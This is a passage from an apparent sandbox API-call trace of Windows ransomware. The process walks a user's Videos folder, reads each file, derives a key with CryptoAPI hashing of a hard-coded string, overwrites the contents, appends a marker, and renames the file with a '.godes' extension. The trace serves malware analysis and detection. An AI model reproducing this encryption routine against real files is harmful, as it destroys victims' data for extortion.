halpmcxz\\videos\\x4smoy\\9irqchw4thswotp\\nw ravz-b0jjw.swf.godes")) returned 1 [0114.621] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0114.621] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.622] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32518f0 | out: hHeap=0x660000) returned 1 [0114.622] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5ba6150, ftCreationTime.dwHighDateTime=0x1d4c81f, ftLastAccessTime.dwLowDateTime=0x38db9d90, ftLastAccessTime.dwHighDateTime=0x1d4cfa4, ftLastWriteTime.dwLowDateTime=0x38db9d90, ftLastWriteTime.dwHighDateTime=0x1d4cfa4, nFileSizeHigh=0x0, nFileSizeLow=0x11322, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="S FkKZQLF_GPV0N.mp4", cAlternateFileName="SFKKZQ~1.MP4")) returned 1 [0114.622] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.622] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xbe) returned 0x32518f0 [0114.622] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.622] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\x4sMoy\\9IrqcHW4ThsWoTp\\S FkKZQLF_GPV0N.mp4") returned=".mp4" [0114.622] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\x4sMoy\\9IrqcHW4ThsWoTp\\S FkKZQLF_GPV0N.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x4smoy\\9irqchw4thswotp\\s fkkzqlf_gpv0n.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.623] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=70434) returned 1 [0114.623] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.624] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x112fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.624] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.626] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0114.626] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.626] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.626] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x11322, lpOverlapped=0x0) returned 1 [0114.627] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.627] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0114.627] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.627] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.627] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741378) returned 1 [0114.627] CryptCreateHash (in: hProv=0x741378, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.627] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.627] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.628] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0114.628] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.628] GetLastError () returned 0x0 [0114.628] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.628] CryptReleaseContext (hProv=0x741378, dwFlags=0x0) returned 1 [0114.628] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.628] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11320) returned 0x3323120 [0114.628] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.628] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.628] WriteFile (in: hFile=0x624, lpBuffer=0x3323120*, nNumberOfBytesToWrite=0x1131d, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3323120*, lpNumberOfBytesWritten=0x3b2fb24*=0x1131d, lpOverlapped=0x0) returned 1 [0114.628] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3323120 | out: hHeap=0x660000) returned 1 [0114.628] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x11322, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.628] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0114.628] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331e748 [0114.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331e748, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0114.629] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x331eb78 [0114.629] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0114.629] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0114.629] WriteFile (in: hFile=0x624, lpBuffer=0x331eb78*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x331eb78*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.629] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331eb78 | out: hHeap=0x660000) returned 1 [0114.629] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.629] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.629] CloseHandle (hObject=0x624) returned 1 [0114.630] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x3320330 [0114.630] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8b0) returned 0x331e748 [0114.630] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3320330 | out: hHeap=0x660000) returned 1 [0114.630] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\x4sMoy\\9IrqcHW4ThsWoTp\\S FkKZQLF_GPV0N.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x4smoy\\9irqchw4thswotp\\s fkkzqlf_gpv0n.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\x4sMoy\\9IrqcHW4ThsWoTp\\S FkKZQLF_GPV0N.mp4.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x4smoy\\9irqchw4thswotp\\s fkkzqlf_gpv0n.mp4.godes")) returned 1 [0114.631] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0114.631] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.632] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32518f0 | out: hHeap=0x660000) returned 1 [0114.632] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27759080, ftCreationTime.dwHighDateTime=0x1d4cbf1, ftLastAccessTime.dwLowDateTime=0x75f82430, ftLastAccessTime.dwHighDateTime=0x1d4ccf4, ftLastWriteTime.dwLowDateTime=0x75f82430, ftLastWriteTime.dwHighDateTime=0x1d4ccf4, nFileSizeHigh=0x0, nFileSizeLow=0x15764, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VkA9WpG3QP_KI.flv", cAlternateFileName="VKA9WP~1.FLV")) returned 1 [0114.632] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.632] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xbe) returned 0x32518f0 [0114.632] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.632] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\x4sMoy\\9IrqcHW4ThsWoTp\\VkA9WpG3QP_KI.flv") returned=".flv" [0114.632] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\x4sMoy\\9IrqcHW4ThsWoTp\\VkA9WpG3QP_KI.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x4smoy\\9irqchw4thswotp\\vka9wpg3qp_ki.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.632] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=87908) returned 1 [0114.632] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.634] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1573e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.634] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.635] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0114.635] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.635] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.635] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x15764, lpOverlapped=0x0) returned 1 [0114.636] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.636] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0114.636] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.636] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.636] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741378) returned 1 [0114.637] CryptCreateHash (in: hProv=0x741378, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.637] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.637] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.637] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0114.637] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.637] GetLastError () returned 0x0 [0114.637] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.637] CryptReleaseContext (hProv=0x741378, dwFlags=0x0) returned 1 [0114.637] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.637] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x15760) returned 0x3323120 [0114.638] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.638] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.638] WriteFile (in: hFile=0x624, lpBuffer=0x3323120*, nNumberOfBytesToWrite=0x1575f, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3323120*, lpNumberOfBytesWritten=0x3b2fb24*=0x1575f, lpOverlapped=0x0) returned 1 [0114.638] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3323120 | out: hHeap=0x660000) returned 1 [0114.638] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x15764, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.638] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0114.638] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331e748 [0114.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331e748, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0114.638] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x331eb78 [0114.638] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0114.638] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0114.638] WriteFile (in: hFile=0x624, lpBuffer=0x331eb78*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x331eb78*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.638] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331eb78 | out: hHeap=0x660000) returned 1 [0114.638] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.638] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.639] CloseHandle (hObject=0x624) returned 1 [0114.640] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x3320330 [0114.640] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8b0) returned 0x331e748 [0114.640] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3320330 | out: hHeap=0x660000) returned 1 [0114.640] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\x4sMoy\\9IrqcHW4ThsWoTp\\VkA9WpG3QP_KI.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x4smoy\\9irqchw4thswotp\\vka9wpg3qp_ki.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\x4sMoy\\9IrqcHW4ThsWoTp\\VkA9WpG3QP_KI.flv.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x4smoy\\9irqchw4thswotp\\vka9wpg3qp_ki.flv.godes")) returned 1 [0114.640] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0114.640] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.641] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32518f0 | out: hHeap=0x660000) returned 1 [0114.641] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27759080, ftCreationTime.dwHighDateTime=0x1d4cbf1, ftLastAccessTime.dwLowDateTime=0x75f82430, ftLastAccessTime.dwHighDateTime=0x1d4ccf4, ftLastWriteTime.dwLowDateTime=0x75f82430, ftLastWriteTime.dwHighDateTime=0x1d4ccf4, nFileSizeHigh=0x0, nFileSizeLow=0x15764, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VkA9WpG3QP_KI.flv", cAlternateFileName="VKA9WP~1.FLV")) returned 0 [0114.641] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0114.641] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c568 | out: hHeap=0x660000) returned 1 [0114.641] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740e28 | out: hHeap=0x660000) returned 1 [0114.641] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0114.641] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740e28 [0114.641] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0114.641] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.641] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.641] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.641] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.642] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.642] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.642] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.642] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.642] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.642] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.642] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.642] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.642] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.642] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.642] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.642] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.642] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.642] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.642] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.642] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.642] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.642] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.642] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.642] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.642] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.642] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.642] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0114.642] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.642] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.642] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.642] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.642] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.642] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.642] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.642] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.642] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.642] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.643] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.643] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.643] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.643] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.643] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.643] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.643] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.643] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.643] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.643] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.643] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.643] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.643] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.643] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.643] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.643] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.643] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.643] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.643] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.643] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.643] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.643] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.643] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.643] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.643] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.643] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.643] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.643] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.643] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.643] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.643] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.643] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.643] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.644] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.644] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.644] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.644] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.644] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.644] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.644] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.644] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0114.644] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0114.644] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.644] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.644] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | 